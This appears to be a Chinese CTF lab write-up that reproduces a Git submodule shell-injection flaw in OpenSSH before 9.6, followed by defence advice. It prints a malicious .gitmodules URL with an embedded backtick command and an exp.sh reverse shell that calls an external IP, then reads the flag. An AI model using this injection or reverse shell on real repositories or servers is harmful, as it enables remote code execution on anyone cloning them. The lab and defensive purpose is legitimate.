**摘要:**本文详细复现了 Git 子模块 Shell 元字符注入漏洞(CVE-2023-XXXX)。该漏洞源于 OpenSSH 9.6 版本前,当 Git 处理包含 Shell 元字符(如 |、'、"、` 等)的子模块 URL 时,若 ssh_config 配置文件通过 %u/%h 参数引用这些未过滤的字符,将导致命令注入。文章通过流程图清晰展示了漏洞触发路径,并提供了从环境搭建(Gitee 仓库创建)、恶意配置构造(.gitmodules 注入)、攻击脚本编写(exp.sh)到最终触发漏洞获取 flag 的完整复现步骤。最后,文章总结了关键复现环节,并给出了升级 OpenSSH、输入验证、最小权限、代码审查等防御建议。
前言:Git 子模块 Shell 元字符注入漏洞概述
为了更好地理解漏洞触发流程,下面通过流程图展示攻击路径:
流程图说明:攻击者构造包含 Shell 元字符的恶意子模块 URL,Git 在解析时会调用 SSH 客户端,ssh_config 配置文件中的 ProxyCommand、LocalCommand 或 "match exec" 谓词会引用 %u(用户名)和 %h(主机名)参数,当这些参数包含未过滤的 Shell 元字符时,就会导致命令注入,最终执行恶意命令获取权限。
本文旨在复现一个基于 Git 子模块的 Shell 元字符命令注入漏洞。该漏洞的核心原理是:当 Git 处理包含 Shell 元字符(如 |、'、" 等)的子模块用户或主机名时,如果这些元字符通过 ssh_config 中的 ProxyCommand、LocalCommand 指令或 "match exec" 谓词被引用,可能导致命令注入执行。
漏洞背景:OpenSSH 9.6 版本之前的 SSH 客户端存在一个安全问题。当用户名或主机名中含有 Shell 元字符,并且 ssh_config 配置文件通过 %u、%h 等扩展标记引用这些参数时,攻击者可能构造恶意输入实现命令注入。
核心漏洞点:Git 本身未对用户或主机名中的 Shell 元字符进行过滤。这意味着,如果一个 Git 存储库的子模块配置中包含了带有 Shell 元字符的用户名或主机名,当 Git 尝试克隆或更新该子模块时,可能触发命令注入漏洞。
复现目标:通过构造一个包含恶意 Shell 命令的子模块 URL,利用 Git 的 submodule 机制,在目标服务器上执行任意命令,最终获取 flag。
技术要点:
- 利用 Git 子模块配置中的 URL 字段注入 Shell 命令
- 通过 ssh:// 协议触发 OpenSSH 的命令注入漏洞
- 构造反弹 Shell 获取服务器权限
漏洞复现
启动靶场,我们会得到如下图所示的页面

接下来我们要进入gitee的页面
这里我们需要访问这个 URL
然后没有账号的小伙伴需要注册一个哟
这些都完成正常进入界面后第一步就是点击新建仓库

这里博主红色框框起来的可以随便起一个名字

这里我们需要点击初始化文件哟

这里我们点击加号然后新建子模块

这里给子模块设置一下,箭头部分的可以参考参考哟

这里我们点击 Web IDE

点击左边的 .gitmodules 然后输入代码
这里的 URL 要改回自己 i 春秋的那个哟

这里是博主刚刚修改的代码,各位可以复制然后稍微修改一下
[submodule "cves"]
path = cves
url = ssh://`bash exp.sh`eci-2ze803emjf7cbykgk20c.cloudeci1.ichunqiu.com/bar
接下来我们需要新建一个文件

这里名字一定要叫 exp.sh(文件名字要跟上面的代码保持一致)

输入如下代码

bash -i >& /dev/tcp/152.136.201.53/7777 0>&1
然后到云服务器,开启监听

接下来我们点击创建提交

编辑这里我们点击这个加号让文件变成暂存的模式

这里我们随便输入信息即可,再点击提交

接下来刷新回到那个新建的界面,再然后就是点击克隆/下载这个标签

然后复制这个链接
去到靶场界面,粘贴,点击一键部署

这里我们会收到反弹 Shell,然后就是 cat /flag
到此我们就会得到 flag 了,恭喜各位宝子完成攻克了
总结与防御建议
本次复现关键步骤总结:
- 漏洞原理理解:掌握 Git 子模块配置中 URL 字段的 Shell 元字符注入原理,利用 OpenSSH 9.6 版本前的命令注入漏洞。
- 环境准备:注册 Gitee 账号并创建仓库,用于托管恶意子模块配置。
- 恶意配置构造 :在 .gitmodules 文件中注入包含 Shell 命令的 URL(如
ssh://`bash exp.sh`hostname/bar)。 - 攻击脚本编写:创建 exp.sh 文件,包含反弹 Shell 命令,用于在目标服务器上执行。
- 触发漏洞:通过 Git 克隆或更新包含恶意子模块的仓库,触发命令注入执行反弹 Shell。
- 权限获取:在攻击机开启监听,接收反弹 Shell 后获取服务器权限并读取 flag。
防御措施建议:
- 升级 OpenSSH 版本:确保 OpenSSH 升级到 9.6 或更高版本,该版本已修复相关命令注入漏洞。
- 输入验证与过滤:对 Git 子模块 URL 进行严格的输入验证,过滤或转义 Shell 元字符(如 |、'、"、`、$、&、; 等)。
- 最小权限原则:限制 Git 服务运行账户的权限,避免使用高权限账户执行 Git 操作。
- 代码审查:在团队协作中,对 .gitmodules 等配置文件进行代码审查,防止恶意配置被提交。
- 安全扫描工具:使用 Git 安全扫描工具(如 gitleaks、truffleHog)定期检查仓库中的敏感信息和潜在漏洞。
- 网络隔离:将 Git 服务器部署在内网环境,限制外部访问,减少攻击面。
- 监控与告警:监控服务器上的异常命令执行和网络连接,设置告警机制。
通过以上防御措施,可以有效降低 Git 子模块 Shell 元字符注入漏洞的风险,保障代码仓库和服务器安全。
不懂的欢迎留言讨论
感谢各位宝贵的时间
期待下一篇 i 春秋的文章欢迎留言哟
期待你的一键三连,谢谢